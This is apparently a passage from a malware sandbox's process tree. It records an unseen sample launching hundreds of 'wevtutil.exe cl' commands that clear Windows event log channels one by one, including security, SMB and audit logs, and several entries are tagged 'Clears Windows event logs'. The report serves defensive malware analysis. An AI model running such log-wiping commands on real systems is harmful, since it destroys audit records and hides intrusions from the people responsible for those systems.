- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RPC-Proxy/Debug"
    3⤵
    PID:1476
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RPC/Debug"
    3⤵
    PID:7236
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RPC/EEInfo"
    3⤵
    PID:5032
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RRAS/Debug"
    3⤵
    PID:7264
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RRAS/Operational"
    3⤵
    PID:4892
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RadioManager/Analytic"
    3⤵
    PID:4400
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Ras-NdisWanPacketCapture/Diagnostic"
    3⤵
    PID:4728
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RasAgileVpn/Debug"
    3⤵
    PID:5468
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RasAgileVpn/Operational"
    3⤵
    PID:7936
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReFS/Operational"
    3⤵
    PID:748
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReadyBoost/Analytic"
    3⤵
    PID:1676
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReadyBoost/Operational"
    3⤵
    PID:6712
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Analytic"
    3⤵
    PID:4436
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Operational"
    3⤵
    PID:5040
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Regsvr32/Operational"
    3⤵
    PID:7740
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteApp and Desktop Connections/Admin"
    3⤵
    PID:6268
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteApp and Desktop Connections/Operational"
    3⤵
    PID:7632
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Admin"
    3⤵
    PID:7448
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Operational"
    3⤵
    PID:5984
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Tracing"
    3⤵
    PID:1152
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Admin"
    3⤵
    PID:360
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Debug"
    3⤵
    PID:4672
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational"
    3⤵
    PID:1972
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RemoteFX-Synth3dvsc/Admin"
    3⤵
    PID:6640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RemoteFX-VM-Kernel-Mode-Transport/Debug"
    3⤵
    PID:6564
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RemoteFX-VM-User-Mode-Transport/Debug"
    3⤵
    PID:1752
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-SessionServices/Operational"
    3⤵
    PID:5172
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Remotefs-Rdbss/Diagnostic"
    3⤵
    PID:3404
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Remotefs-Rdbss/Operational"
    3⤵
    PID:2920
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ResetEng-Trace/Diagnostic"
    3⤵
    PID:1344
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Detector/Operational"
    3⤵
    PID:7152
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Resolver/Operational"
    3⤵
    PID:4276
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ResourcePublication/Tracing"
    3⤵
    PID:7116
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RestartManager/Operational"
    3⤵
    PID:2132
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RetailDemo/Admin"
    3⤵
    PID:3808
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-RetailDemo/Operational"
    3⤵
    PID:5356
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Graphics/Analytic"
    3⤵
    PID:1844
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Networking-BackgroundTransfer/Tracing"
    3⤵
    PID:5552
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Networking/Tracing"
    3⤵
    PID:3340
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Web-Http/Tracing"
    3⤵
    PID:4320
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-WebAPI/Tracing"
    3⤵
    PID:6700
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Windows-Media/WinRTAdaptiveMediaSource"
    3⤵
    PID:7532
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Windows-Media/WinRTCaptureEngine"
    3⤵
    PID:7944
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Windows-Media/WinRTMediaStreamSource"
    3⤵
    PID:1896
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime-Windows-Media/WinRTTranscode"
    3⤵
    PID:5712
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime/CreateInstance"
    3⤵
    PID:7472
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Runtime/Error"
    3⤵
    PID:6556
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBClient/Analytic"
    3⤵
    PID:1908
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBClient/HelperClassDiagnostic"
    3⤵
    PID:7792
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBClient/ObjectStateDiagnostic"
    3⤵
    - Clears Windows event logs
    PID:8028
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBClient/Operational"
    3⤵
    PID:6072
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBDirect/Admin"
    3⤵
    PID:7916
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBDirect/Debug"
    3⤵
    PID:444
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBDirect/Netmon"
    3⤵
    PID:3964
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBServer/Analytic"
    3⤵
    PID:5144
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBServer/Audit"
    3⤵
    PID:6792
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBServer/Connectivity"
    3⤵
    PID:8128
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBServer/Diagnostic"
    3⤵
    PID:5228
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBServer/Operational"
    3⤵
    PID:5904
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBServer/Performance"
    3⤵
    - Clears Windows event logs
    PID:5852
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBServer/Security"
    3⤵
    PID:7200
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBWitnessClient/Admin"
    3⤵
    PID:6468
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SMBWitnessClient/Informational"
    3⤵
    PID:7008
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SPB-ClassExtension/Analytic"
    3⤵
    - Clears Windows event logs
    PID:4552
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SPB-HIDI2C/Analytic"
    3⤵
    PID:6356
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Schannel-Events/Perf"
    3⤵
    - Clears Windows event logs
    PID:5948
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sdbus/Analytic"
    3⤵
    PID:6128
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sdbus/Debug"
    3⤵
    PID:6304
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sdstor/Analytic"
    3⤵
    PID:2372
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Search-Core/Diagnostic"
    3⤵
    PID:1212
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Search-ProtocolHandlers/Diagnostic"
    3⤵
    PID:7400
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SearchUI/Diagnostic"
    3⤵
    PID:5332
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SearchUI/Operational"
    3⤵
    PID:7208
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SecureAssessment/Operational"
    3⤵
    PID:2068
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Adminless/Operational"
    3⤵
    PID:2752
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Diagnostic"
    3⤵
    PID:6308
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Operational"
    3⤵
    PID:7360
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-EnterpriseData-FileRevocationManager/Operational"
    3⤵
    PID:4212
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-ExchangeActiveSyncProvisioning/Operational"
    3⤵
    PID:6720
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-ExchangeActiveSyncProvisioning/Performance"
    3⤵
    PID:3644
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-IdentityListener/Operational"
    3⤵
    PID:1708
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-IdentityStore/Performance"
    3⤵
    PID:7784
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-LessPrivilegedAppContainer/Operational"
    3⤵
    PID:2648
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Mitigations/KernelMode"
    3⤵
    PID:7548
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Mitigations/UserMode"
    3⤵
    - Clears Windows event logs
    PID:3792
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Netlogon/Operational"
    3⤵
    PID:7328
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-SPP-UX-GC/Analytic"
    3⤵
    PID:6932
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-SPP-UX-GenuineCenter-Logging/Operational"
    3⤵
    PID:7316
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-SPP-UX-Notifications/ActionCenter"
    3⤵
    PID:1756
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-SPP-UX/Analytic"
    3⤵
    PID:6012
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-SPP/Perf"
    3⤵
    - Clears Windows event logs
    PID:5344
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-UserConsentVerifier/Audit"
    3⤵
    PID:8188
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Security-Vault/Performance"
    3⤵
    PID:1436
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SecurityMitigationsBroker/Admin"
    3⤵
    PID:6168
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SecurityMitigationsBroker/Operational"
    3⤵
    - Clears Windows event logs
    PID:6740
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SecurityMitigationsBroker/Perf"
    3⤵
    PID:5912
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SendTo/Diagnostic"
    3⤵
    PID:3380
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sens/Debug"
    3⤵
    PID:7032
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sensors/Debug"
    3⤵
    PID:6976
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sensors/Performance"
    3⤵
    PID:4816
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Serial-ClassExtension-V2/Analytic"
    3⤵
    PID:7268
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Serial-ClassExtension/Analytic"
    3⤵
    PID:4428
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ServiceReportingApi/Debug"
    3⤵
    PID:6776
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Services-Svchost/Diagnostic"
    3⤵
    PID:6680
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Services/Diagnostic"
    3⤵
    PID:3136
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Servicing/Debug"
    3⤵
    PID:6964
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SettingSync-Azure/Debug"
    3⤵
    PID:4248
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SettingSync-Azure/Operational"
    3⤵
    PID:6132
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SettingSync-OneDrive/Analytic"
    3⤵
    PID:6908
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SettingSync-OneDrive/Debug"
    3⤵
    PID:8104
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SettingSync-OneDrive/Operational"
    3⤵
    PID:6828
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SettingSync/Analytic"
    3⤵
    PID:5428
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SettingSync/Debug"
    3⤵
    PID:6140
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SettingSync/Operational"
    3⤵
    PID:2316
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SettingSync/VerboseDebug"
    3⤵
    PID:728
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Setup/Analytic"
    3⤵
    - Clears Windows event logs
    PID:916
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SetupCl/Analytic"
    3⤵
    - Clears Windows event logs
    PID:2636
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SetupPlatform/Analytic"
    3⤵
    PID:3820
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SetupQueue/Analytic"
    3⤵
    PID:5456
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SetupUGC/Analytic"
    3⤵
    PID:8076
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ShareMedia-ControlPanel/Diagnostic"
    3⤵
    PID:7620
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AppWizCpl/Diagnostic"
    3⤵
    PID:6876
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-BootAnim/Diagnostic"
    3⤵
    PID:4604
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Common/Diagnostic"
    3⤵
    PID:6196
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-CredUI/Diagnostic"
    3⤵
    PID:4036
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-CredentialProviderUser/Diagnostic"
    3⤵
    PID:6212
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Logon/Diagnostic"
    3⤵
    PID:6756
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-LogonUI/Diagnostic"
    3⤵
    PID:1676
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Shutdown/Diagnostic"
    3⤵
    PID:4304
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-ConnectedAccountState/ActionCenter"
    3⤵
    PID:6176
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-Core/ActionCenter"
    3⤵
    - Clears Windows event logs
    PID:1776
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-Core/AppDefaults"
    3⤵
    PID:5620
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-Core/Diagnostic"
    3⤵
    PID:5276
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-Core/LogonTasksChannel"
    3⤵
    PID:5844
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-Core/Operational"
    3⤵
    PID:2420
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-DefaultPrograms/Diagnostic"
    3⤵
    PID:4704
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-LockScreenContent/Diagnostic"
    3⤵
    PID:4396
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-OpenWith/Diagnostic"
    3⤵
    PID:7244
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-Shwebsvc"
    3⤵
    PID:4548
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shell-ZipFolder/Diagnostic"
    3⤵
    PID:3056
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ShellCommon-StartLayoutPopulation/Diagnostic"
    3⤵
    PID:6048
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ShellCommon-StartLayoutPopulation/Operational"
    3⤵
    PID:5436
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Shsvcs/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:3552
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SleepStudy/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:1148
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmartCard-Audit/Authentication"
    3⤵
    PID:3200
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmartCard-DeviceEnum/Operational"
    3⤵
    - Clears Windows event logs
    PID:7940
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmartCard-TPM-VCard-Module/Admin"
    3⤵
    PID:1004
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmartCard-TPM-VCard-Module/Operational"
    3⤵
    PID:1124
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmartScreen/Debug"
    3⤵
    PID:6960
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmbClient/Audit"
    3⤵
    PID:4952
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmbClient/Connectivity"
    3⤵
    PID:2864
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmbClient/Diagnostic"
    3⤵
    PID:7380
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SmbClient/Security"
    3⤵
    PID:3308
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Speech-UserExperience/Diagnostic"
    3⤵
    PID:6020
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Spell-Checking/Analytic"
    3⤵
    PID:4896
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SpellChecker/Analytic"
    3⤵
    PID:4176
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Spellchecking-Host/Analytic"
    3⤵
    PID:6232
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SruMon/Diagnostic"
    3⤵
    PID:3768
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-SrumTelemetry"
    3⤵
    PID:7832
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StateRepository/Debug"
    3⤵
    PID:6808
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StateRepository/Diagnostic"
    3⤵
    PID:6772
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StateRepository/Operational"
    3⤵
    PID:6604
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StateRepository/Restricted"
    3⤵
    PID:7944
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorDiag/Operational"
    3⤵
    PID:1900
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorPort/Operational"
    3⤵
    PID:552
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ATAPort/Admin"
    3⤵
    PID:7412
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ATAPort/Analytic"
    3⤵
    PID:7472
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ATAPort/Debug"
    3⤵
    PID:6784
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ATAPort/Diagnose"
    3⤵
    PID:4156
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ATAPort/Operational"
    3⤵
    PID:4992
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ClassPnP/Admin"
    3⤵
    PID:8116
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ClassPnP/Analytic"
    3⤵
    PID:4752
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ClassPnP/Debug"
    3⤵
    PID:5096
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ClassPnP/Diagnose"
    3⤵
    PID:1332
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-ClassPnP/Operational"
    3⤵
    PID:4732
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Disk/Admin"
    3⤵
    PID:6508
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Disk/Analytic"
    3⤵
    PID:2684
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Disk/Debug"
    3⤵
    PID:8172
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Disk/Diagnose"
    3⤵
    PID:4596
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Disk/Operational"
    3⤵
    - Clears Windows event logs
    PID:5228
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Storport/Admin"
    3⤵
    PID:6636
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Storport/Analytic"
    3⤵
    PID:7248
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Storport/Debug"
    3⤵
    PID:7096
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Storport/Diagnose"
    3⤵
    PID:3424
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Storport/Health"
    3⤵
    PID:4552
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Storport/Operational"
    3⤵
    PID:4836
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Tiering-IoHeat/Heat"
    3⤵
    - Clears Windows event logs
    PID:7364
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storage-Tiering/Admin"
    3⤵
    PID:6220
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageManagement/Debug"
    3⤵
    PID:6344
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageManagement/Operational"
    3⤵
    PID:1032
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSettings/Diagnostic"
    3⤵
    PID:1212
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-Driver/Diagnostic"
    3⤵
    PID:7224
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-Driver/Operational"
    3⤵
    PID:2116
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-Driver/Performance"
    3⤵
    PID:7416
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-ManagementAgent/WHC"
    3⤵
    PID:1464
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-SpaceManager/Diagnostic"
    3⤵
    PID:4756
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-StorageSpaces-SpaceManager/Operational"
    3⤵
    PID:5756
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Store/Operational"
    3⤵
    PID:7408
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Storsvc/Diagnostic"
    3⤵
    PID:3388
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Subsys-Csr/Operational"
    3⤵
    PID:3952
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Subsys-SMSS/Operational"
    3⤵
    PID:6892
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Superfetch/Main"
    3⤵
    PID:5696
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Superfetch/PfApLog"
    3⤵
    PID:5408
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Superfetch/StoreLog"
    3⤵
    PID:2532
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Sysprep/Analytic"
    3⤵
    PID:7932
- - C:\Windows\system32\wevtutil.exe
